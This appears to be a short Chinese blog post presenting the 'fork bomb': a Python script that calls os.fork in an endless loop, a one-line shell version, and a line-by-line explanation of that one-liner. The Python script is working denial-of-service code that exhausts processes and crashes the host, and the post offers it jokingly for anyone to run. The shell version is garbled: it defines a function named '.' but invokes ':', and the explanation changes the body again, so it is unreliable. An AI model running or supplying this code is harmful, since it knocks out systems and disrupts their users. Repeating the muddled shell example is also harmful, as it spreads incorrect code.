1. 程式人生 > >江湖俗稱"fork 炸彈"---宕機了不賴我啊!!

江湖俗稱"fork 炸彈"---宕機了不賴我啊!!

文章目錄

江湖俗稱"fork 炸彈"

Python 版本

import os

os.fork()
os.fork()
while True:
    os.fork()
    print("你完成不了!!,必須宕機")
print("等待測試結果")

shell 版本

.() { :|:& };:

炸彈解釋

1 .()

  2 {

  3  .|.& 

  4 }

  5 ;

  6 .

第 1 行說明下面要定義一個函式,函式名為小數點,沒有可選引數。
第 2 行表示函式體開始。
第 3 行是函式體真正要做的事情,首先它遞迴呼叫本函式,然後利用管道呼叫一個新程序(它要做的事情也是遞迴呼叫本函式),並將其放到後臺執行。
第 4 行表示函式體結束。
第 5 行並不會執行什麼操作,在命令列中用來分隔兩個命令用。從總體來看,它表明這段程式包含兩個部分,首先定義了一個函式,然後呼叫這個函式。
第 6 行表示呼叫本函式。